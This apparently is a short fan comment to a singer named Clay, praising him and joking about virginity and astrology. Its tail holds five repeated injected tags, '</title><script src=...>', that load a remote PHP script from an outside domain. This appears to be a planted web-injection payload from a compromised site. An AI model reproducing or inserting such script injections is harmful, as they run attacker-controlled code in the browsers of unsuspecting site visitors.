I'm always with you clay... even though you are a so called "vagfreak" I think you are nice, a great singer, and, well, sexy!!! I would totally date you!! Also... I'm a virgin soooo shutup everyone and leave virgins alone. P.S. I don't blame my astrology sign.... Virgo? </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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